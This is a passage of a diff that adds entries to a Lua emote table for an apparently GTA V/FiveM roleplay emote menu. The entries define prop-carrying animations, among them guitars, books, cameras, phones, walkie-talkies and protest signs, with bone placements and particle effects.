+ PropPlacement = {
+ 0.2800,
+ -0.2000,
+ -0.0600,
+ 0.0,
+ 0.0,
+ 15.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["guitarcarry2"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Guitar Carry Accoustic",
+ AnimationOptions = {
+ Prop = "prop_acc_guitar_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.1500,
+ -0.1400,
+ -0.0200,
+ -101.5083,
+ 5.7251,
+ 29.4987
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["guitarcarry3"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Guitar Carry Accoustic - Pink",
+ AnimationOptions = {
+ Prop = "prop_tay_guitar_001",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.1500,
+ -0.1400,
+ -0.0200,
+ -101.5083,
+ 5.7251,
+ 29.4987
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["guitarcarry4"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Guitar Carry Accoustic - Pride",
+ AnimationOptions = {
+ Prop = "prop_tay_guitar_002",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.1100,
+ -0.1200,
+ -0.0500,
+ -80.0000,
+ 0.0,
+ 21.9999
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["guitarcarry5"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Guitar Carry Electric",
+ AnimationOptions = {
+ Prop = "prop_el_guitar_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.1100,
+ -0.1200,
+ -0.0500,
+ -80.0000,
+ 0.0,
+ 21.9999
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["guitarcarry6"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Guitar Carry Electric 2",
+ AnimationOptions = {
+ Prop = "prop_el_guitar_02",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.1100,
+ -0.1200,
+ -0.0500,
+ -80.0000,
+ 0.0,
+ 21.9999
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["guitarcarry7"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Guitar Carry Electric 3",
+ AnimationOptions = {
+ Prop = "prop_el_guitar_03",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.1100,
+ -0.1200,
+ -0.0500,
+ -80.0000,
+ 0.0,
+ 21.9999
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["guitarcarry8"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Guitar Carry Electric 4",
+ AnimationOptions = {
+ Prop = "vw_prop_casino_art_guitar_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.1100,
+ -0.1200,
+ -0.0500,
+ -80.0000,
+ 0.0,
+ 21.9999
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["guitarcarry9"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Guitar Carry Electric 5",
+ AnimationOptions = {
+ Prop = "sf_prop_sf_el_guitar_02a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.1100,
+ -0.1200,
+ -0.0500,
+ -80.0000,
+ 0.0,
+ 21.9999
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["guitarsit"] = {
+ "misssnowie@gatlax",
+ "base",
+ "Guitar Sit And Play",
+ AnimationOptions = {
+ Prop = "prop_acc_guitar_01",
+ PropBone = 24818,
+ PropPlacement = {
+ -0.0510,
+ 0.2770,
+ -0.0299,
+ -140.3349,
+ 166.3300,
+ 29.7590
+ },
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["guitarsit2"] = {
+ "misssnowie@gatlax",
+ "base",
+ "Guitar Sit And Play 2 - Pink",
+ AnimationOptions = {
+ Prop = "prop_tay_guitar_001",
+ PropBone = 24818,
+ PropPlacement = {
+ -0.0510,
+ 0.2770,
+ -0.0299,
+ -140.3349,
+ 166.3300,
+ 29.7590
+ },
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["guitarsit3"] = {
+ "misssnowie@gatlax",
+ "base",
+ "Guitar Sit And Play 2 - Pride",
+ AnimationOptions = {
+ Prop = "prop_tay_guitar_002",
+ PropBone = 24818,
+ PropPlacement = {
+ -0.0510,
+ 0.2770,
+ -0.0299,
+ -140.3349,
+ 166.3300,
+ 29.7590
+ },
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["book"] = {
+ "cellphone@",
+ "cellphone_text_read_base",
+ "Book",
+ AnimationOptions = {
+ Prop = 'prop_novel_01',
+ PropBone = 6286,
+ PropPlacement = {
+ 0.15,
+ 0.03,
+ -0.065,
+ 0.0,
+ 180.0,
+ 90.0
+ },
+ -- This positioning isnt too great, was to much of a hassle
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["bookb"] = {
+ "holding_book_1@dark",
+ "holding_book_1_clip",
+ "Book 2",
+ AnimationOptions = {
+ Prop = 'prop_cs_book_01',
+ PropBone = 57005,
+ PropPlacement = {
+ 0.0900,
+ 0.0900,
+ -0.0400,
+ 80.1585,
+ 158.5623,
+ 24.7080,
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["bookc"] = {
+ "holding_book_2@dark",
+ "holding_book_2_clip",
+ "Book 3",
+ AnimationOptions = {
+ Prop = "prop_michael_backpack",
+ PropBone = 40269,
+ PropPlacement = {
+ 0.0300,
+ -0.1600,
+ -0.0900,
+ -170.7740,
+ 112.8415,
+ -20.0836
+ },
+ SecondProp = 'prop_cs_book_01',
+ SecondPropBone = 18905,
+ SecondPropPlacement = {
+ 0.0400,
+ 0.0400,
+ 0.0300,
+ -69.0815,
+ 176.3905,
+ 19.3724
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["bookd"] = {
+ "holding_book_3@dark",
+ "holding_book_3_clip",
+ "Book 4",
+ AnimationOptions = {
+ Prop = 'prop_cs_stock_book',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.0700,
+ 0.0400,
+ 0.0700,
+ 0.0000,
+ 0.0000,
+ -15.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["booke"] = {
+ "holding_book_4@dark",
+ "holding_book_4_clip",
+ "Book 5",
+ AnimationOptions = {
+ Prop = 'prop_cs_stock_book',
+ PropBone = 57005,
+ PropPlacement = {
+ 0.0100,
+ 0.0100,
+ -0.0600,
+ 15.1511,
+ 3.1232,
+ -21.2448
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["bookf"] = {
+ "holding_book_5@dark",
+ "holding_book_5_clip",
+ "Book 6",
+ AnimationOptions = {
+ Prop = 'v_ilev_mp_bedsidebook',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.2100,
+ 0.0600,
+ 0.0400,
+ 170.6161,
+ -14.2960,
+ 28.8727
+ },
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bouquet"] = {
+ "hold_flowers@dad", --- Custom Animation By Darks Animations
+ "hold_flowers_clip",
+ "Bouquet",
+ AnimationOptions = {
+ Prop = 'prop_snow_flower_02',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.1100,
+ -0.1300,
+ 0.1200,
+ -18.7186,
+ 121.0529,
+ -11.7724
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["bouquet2"] = {
+ "hold_flowers@dad", --- Custom Animation By Darks Animations
+ "hold_flowers_clip",
+ "Bouquet 2",
+ AnimationOptions = {
+ Prop = 'pata_freevalentinesday3',
+ PropBone = 28422,
+ PropPlacement = {
+ -0.0100,
+ 0.0300,
+ -0.1700,
+ -6.0697,
+ 60.1852,
+ 3.4934
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["teddy"] = {
+ "impexp_int-0",
+ "mp_m_waremech_01_dual-0",
+ "Teddy",
+ AnimationOptions = {
+ Prop = 'v_ilev_mr_rasberryclean',
+ PropBone = 24817,
+ PropPlacement = {
+ -0.20,
+ 0.46,
+ -0.016,
+ -180.0,
+ -90.0,
+ 0.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["backpack"] = {
+ "move_p_m_zero_rucksack",
+ "nill",
+ "Backpack",
+ AnimationOptions = {
+ Prop = 'p_michael_backpack_s',
+ PropBone = 24818,
+ PropPlacement = {
+ 0.07,
+ -0.11,
+ -0.05,
+ 0.0,
+ 90.0,
+ 175.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["clipboard"] = {
+ "missfam4",
+ "base",
+ "Clipboard",
+ AnimationOptions = {
+ Prop = 'p_amb_clipboard_01',
+ PropBone = 36029,
+ PropPlacement = {
+ 0.16,
+ 0.08,
+ 0.1,
+ -130.0,
+ -50.0,
+ 0.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["map"] = {
+ "amb@world_human_tourist_map@male@base",
+ "base",
+ "Map",
+ AnimationOptions = {
+ Prop = 'prop_tourist_map_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["map2"] = {
+ "amb@code_human_in_bus_passenger_idles@female@tablet@idle_a",
+ "idle_a",
+ "Map 2",
+ AnimationOptions = {
+ Prop = "prop_tourist_map_01",
+ PropBone = 28422,
+ PropPlacement = {
+ -0.05,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beg"] = {
+ "amb@world_human_bum_freeway@male@base",
+ "base",
+ "Beg",
+ AnimationOptions = {
+ Prop = 'prop_beggers_sign_03',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beg2"] = {
+ "amb@world_human_bum_freeway@male@base",
+ "base",
+ "Beg 2",
+ AnimationOptions = {
+ Prop = 'prop_beggers_sign_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beg3"] = {
+ "amb@world_human_bum_freeway@male@base",
+ "base",
+ "Beg 3",
+ AnimationOptions = {
+ Prop = 'prop_beggers_sign_02',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0800,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["beg4"] = {
+ "amb@world_human_bum_freeway@male@base",
+ "base",
+ "Beg 4",
+ AnimationOptions = {
+ Prop = 'prop_beggers_sign_04',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0800,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["newspaper"] = {
+ "amb@world_human_clipboard@male@idle_a",
+ "idle_a",
+ "Newspaper",
+ AnimationOptions = {
+ Prop = 'prop_cliff_paper',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0970,
+ -0.0280,
+ -0.0170,
+ 107.4008,
+ 3.2712,
+ -10.5080
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["newspaper2"] = {
+ "amb@world_human_clipboard@male@idle_a",
+ "idle_a",
+ "Newspaper 2",
+ AnimationOptions = {
+ Prop = 'ng_proc_paper_news_quik',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.1590,
+ 0.0290,
+ -0.0100,
+ 90.9998,
+ 0.0087,
+ 0.5000
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["newspaper3"] = {
+ "amb@world_human_clipboard@male@idle_a",
+ "idle_a",
+ "Newspaper 3",
+ AnimationOptions = {
+ Prop = 'ng_proc_paper_news_rag',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.1760,
+ -0.00070,
+ 0.0200,
+ 99.8306,
+ 3.2841,
+ -4.7185
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["pornmag"] = {
+ "amb@world_human_clipboard@male@base",
+ "base",
+ "Porn Magazine",
+ AnimationOptions = {
+ Prop = 'prop_porn_mag_02',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.1000,
+ -0.0360,
+ -0.0300,
+ -86.9096,
+ 179.2527,
+ 13.8804
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["pornmag2"] = {
+ "amb@world_human_clipboard@male@base",
+ "base",
+ "Porn Magazine 2",
+ AnimationOptions = {
+ Prop = 'prop_cs_magazine',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0800,
+ -0.0490,
+ -0.0500,
+ 87.9369,
+ -0.4292,
+ -14.3925
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["pornmag3"] = {
+ "amb@world_human_clipboard@male@base",
+ "base",
+ "Porn Magazine 3",
+ AnimationOptions = {
+ Prop = 'prop_porn_mag_03',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.1000,
+ -0.0700,
+ -0.0200,
+ -90.0000,
+ -180.0000,
+ 22.7007
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["pornmag4"] = {
+ "amb@world_human_clipboard@male@base",
+ "base",
+ "Porn Magazine 4",
+ AnimationOptions = {
+ Prop = 'v_res_tt_pornmag01',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0200,
+ -0.0300,
+ 0.0000,
+ 88.9862,
+ 0.2032,
+ -20.0016
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["pornmag5"] = {
+ "amb@world_human_clipboard@male@base",
+ "base",
+ "Porn Magazine 5",
+ AnimationOptions = {
+ Prop = 'v_res_tt_pornmag02',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0200,
+ -0.0300,
+ 0.0000,
+ 88.9862,
+ 0.2032,
+ -20.0016
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["pornmag6"] = {
+ "amb@world_human_clipboard@male@base",
+ "base",
+ "Porn Magazine 6",
+ AnimationOptions = {
+ Prop = 'v_res_tt_pornmag03',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0200,
+ -0.0300,
+ 0.0000,
+ 88.9862,
+ 0.2032,
+ -20.0016
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["pornmag7"] = {
+ "amb@world_human_clipboard@male@base",
+ "base",
+ "Porn Magazine 7",
+ AnimationOptions = {
+ Prop = 'v_res_tt_pornmag04',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0200,
+ -0.0300,
+ 0.0000,
+ 88.9862,
+ 0.2032,
+ -20.0016
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ },
+ AdultAnimation = true
+ },
+ ["makeitrain"] = {
+ "anim@mp_player_intupperraining_cash",
+ "idle_a",
+ "Make It Rain",
+ AnimationOptions = {
+ Prop = 'prop_anim_cash_pile_01',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 180.0,
+ 0.0,
+ 70.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true,
+ PtfxAsset = "scr_xs_celebration",
+ PtfxName = "scr_xs_money_rain",
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ -0.09,
+ -80.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('makeitrain'),
+ PtfxWait = 500,
+ PtfxCanHold = true
+ }
+ },
+ ["camera"] = {
+ "stand_camera_1@dad",
+ "stand_camera_1_clip",
+ "Camera",
+ AnimationOptions = {
+ Prop = 'prop_pap_camera_01',
+ PropBone = 57005,
+ PropPlacement = {
+ 0.1040,
+ -0.0060,
+ -0.0600,
+ -2.7280,
+ 33.0998,
+ 4.1917
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_bike_business",
+ PtfxName = "scr_bike_cfid_camera_flash",
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["camera2"] = {
+ "amb@world_human_paparazzi@male@base",
+ "base",
+ "Camera 2",
+ AnimationOptions = {
+ Prop = 'prop_pap_camera_01',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_bike_business",
+ PtfxName = "scr_bike_cfid_camera_flash",
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["camera3"] = {
+ "cellphone@female",
+ "cellphone_text_read_base_cover_low",
+ "Camera 3",
+ AnimationOptions = {
+ Prop = "prop_ing_camera_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0100,
+ -0.0300,
+ 0.0520,
+ -172.0487,
+ -163.9389,
+ -29.0221
+ },
+ EmoteLoop = false,
+ EmoteMoving = true,
+ PtfxAsset = "scr_bike_business",
+ PtfxName = "scr_bike_cfid_camera_flash",
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["camera4"] = {
+ "chocoholic@single110a",
+ "single110a_clip",
+ "Camera 4",
+ AnimationOptions = {
+ Prop = "prop_ing_camera_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0710,
+ 0.0150,
+ -0.0420,
+ -68.3220,
+ 99.6144,
+ 2.9027
+ },
+ EmoteLoop = false,
+ EmoteMoving = true,
+ PtfxAsset = "scr_bike_business",
+ PtfxName = "scr_bike_cfid_camera_flash",
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["camera5"] = {
+ "chocoholic@single110b",
+ "single110b_clip",
+ "Camera 5",
+ AnimationOptions = {
+ Prop = "prop_ing_camera_01",
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0980,
+ 0.0560,
+ 0.1330,
+ -15.8221,
+ 107.0825,
+ -16.0159
+ },
+ EmoteLoop = false,
+ EmoteMoving = true,
+ PtfxAsset = "scr_bike_business",
+ PtfxName = "scr_bike_cfid_camera_flash",
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('camera'),
+ PtfxWait = 200
+ }
+ },
+ ["camera6"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Camera 6 - Carry News Camera",
+ AnimationOptions = {
+ Prop = "prop_v_cam_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.2100,
+ 0.0300,
+ -0.0100,
+ 90.0000,
+ 176.0000,
+ 79.9999
+ },
+ EmoteLoop = false,
+ EmoteMoving = true,
+ }
+ },
+ ["champagnespray"] = {
+ "anim@mp_player_intupperspray_champagne",
+ "idle_a",
+ "Champagne Spray",
+ AnimationOptions = {
+ Prop = 'ba_prop_battle_champ_open',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true,
+ PtfxAsset = "scr_ba_club",
+ PtfxName = "scr_ba_club_champagne_spray",
+ PtfxPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ PtfxInfo = Translate('spraychamp'),
+ PtfxWait = 500,
+ PtfxCanHold = true
+ }
+ },
+ ["joint"] = {
+ "amb@world_human_smoking@male@male_a@enter",
+ "enter",
+ "Joint",
+ AnimationOptions = {
+ Prop = 'p_cs_joint_01',
+ PropBone = 47419,
+ PropPlacement = {
+ 0.015,
+ -0.009,
+ 0.003,
+ 55.0,
+ 0.0,
+ 110.0
+ },
+ EmoteMoving = true,
+ EmoteDuration = 2600,
+ PtfxAsset = "scr_mp_cig",
+ PtfxName = "ent_anim_cig_smoke",
+ PtfxNoProp = false,
+ PtfxPlacement = {
+ -0.097,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.3
+ },
+ PtfxInfo = Translate('smoke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["cig"] = {
+ "amb@world_human_smoking@male@male_a@enter",
+ "enter",
+ "Cig",
+ AnimationOptions = {
+ Prop = 'ng_proc_cigarette01a',
+ PropBone = 47419,
+ PropPlacement = {
+ 0.015,
+ -0.009,
+ 0.003,
+ 55.0,
+ 0.0,
+ 110.0
+ },
+ EmoteDuration = 2600,
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_mp_cig",
+ PtfxName = "ent_anim_cig_smoke",
+ PtfxNoProp = false,
+ PtfxPlacement = {
+ -0.07,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.0
+ },
+ PtfxInfo = Translate('smoke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["brief"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Briefcase",
+ AnimationOptions = {
+ Prop = "prop_ld_case_01",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.12,
+ 0.0,
+ 0.0,
+ 0.0,
+ 255.0,
+ 80.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["brief2"] = { -- Added for compatibility
+ "missheistdocksprep1hold_cellphone",
+ "static",
+ "Briefcase 2",
+ AnimationOptions =
+ {
+ Prop = "prop_ld_case_01",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.10,
+ 0.0,
+ 0.0,
+ 0.0,
+ 280.0,
+ 53.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["guncase"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Guncase",
+ AnimationOptions =
+ {
+ Prop = "prop_gun_case_01",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.10,
+ 0.02,
+ -0.02,
+ 40.0,
+ 145.0,
+ 115.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["tablet"] = {
+ "amb@world_human_tourist_map@male@base",
+ "base",
+ "Tablet",
+ AnimationOptions = {
+ Prop = "prop_cs_tablet",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ -0.03,
+ 0.0,
+ 20.0,
+ -90.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["tablet2"] = {
+ "amb@code_human_in_bus_passenger_idles@female@tablet@idle_a",
+ "idle_a",
+ "Tablet 2",
+ AnimationOptions = {
+ Prop = "prop_cs_tablet",
+ PropBone = 28422,
+ PropPlacement = {
+ -0.05,
+ 0.0,
+ 0.0,
+ 0.0,
+ -90.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["phonecall"] = {
+ "cellphone@",
+ "cellphone_call_listen_base",
+ "Phone Call",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7},
+ },
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["phonecall2"] = {
+ "random@kidnap_girl",
+ "ig_1_girl_on_phone_loop",
+ "Phone Call 2",
+ AnimationOptions = {
+ Prop = "prop_phone_taymckenzienz",
+ PropTextureVariations = {
+ {Name = "Blue", Value = 0},
+ {Name = "Green", Value = 1},
+ {Name = "Dark Red", Value = 2},
+ {Name = "Orange", Value = 3},
+ {Name = "Grey", Value = 4},
+ {Name = "Purple", Value = 5},
+ {Name = "Pink", Value = 6},
+ {Name = "Black", Value = 7},
+ },
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wt"] = {
+ "cellphone@",
+ "cellphone_text_read_base",
+ "Walkie Talkie",
+ AnimationOptions = {
+ Prop = "prop_cs_hand_radio",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wt2"] = {
+ "anim@radio_pose_3",
+ "radio_holding_gun",
+ "Walkie Talkie 2",
+ AnimationOptions = {
+ Prop = "prop_cs_hand_radio",
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0750,
+ 0.0470,
+ 0.0110,
+ -97.9442,
+ 3.7058,
+ -23.2367
+ },
+ EmoteLoop = true,
+
+ }
+ },
+ ["wt3"] = {
+ "anim@radio_left",
+ "radio_left_clip",
+ "Walkie Talkie 3 Left",
+ AnimationOptions = {
+ Prop = "prop_cs_hand_radio",
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0750,
+ 0.0470,
+ 0.0110,
+ -97.9442,
+ 3.7058,
+ -23.2367
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wt4"] = {
+ "anim@male@holding_radio",
+ "holding_radio_clip",
+ "Walkie Talkie 4",
+ AnimationOptions = {
+ Prop = "prop_cs_hand_radio",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0750,
+ 0.0230,
+ -0.0230,
+ -90.0000,
+ 0.0,
+ -59.9999
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["clean"] = {
+ "timetable@floyd@clean_kitchen@base",
+ "base",
+ "Clean",
+ AnimationOptions = {
+ Prop = "prop_sponge_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.01,
+ 90.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["clean2"] = {
+ "amb@world_human_maid_clean@",
+ "base",
+ "Clean 2",
+ AnimationOptions = {
+ Prop = "prop_sponge_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.01,
+ 90.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["protest"] = {
+ "rcmnigel1d",
+ "base_club_shoulder",
+ "Protest",
+ AnimationOptions = {
+ Prop = "prop_cs_protest_sign_01",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.1820,
+ 0.2400,
+ 0.0600,
+ -69.3774235,
+ 5.9142048,
+ -13.9572354
+ },
+ --
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["protest2"] = {
+ "rcmnigel1d",
+ "base_club_shoulder",
+ "Protest 2 - Pride",
+ AnimationOptions = {
+ Prop = "pride_sign_01",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.1820,
+ 0.2400,
+ 0.0600,
+ -69.3774235,
+ 5.9142048,
+ -13.9572354
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["protest3"] = {
+ "rcmnigel1d",
+ "base_club_shoulder",
+ "Protest 3 - BLM",
+ AnimationOptions = {
+ Prop = "scully_blm",
+ PropBone = 57005,
+ PropPlacement = {
+ 0.1820,
+ 0.2400,
+ 0.0600,
+ -69.3774235,
+ 5.914205,
+ -13.957235
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["binoculars"] = {
+ "amb@world_human_binoculars@male@idle_b",
+ "idle_f",
+ "Binoculars",
+ AnimationOptions = {
+ Prop = "prop_binoc_01",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["binoculars2"] = {
+ "amb@world_human_binoculars@male@idle_a",
+ "idle_c",
+ "Binoculars 2",
+ AnimationOptions = {
+ Prop = "prop_binoc_01",
+ PropBone = 28422,
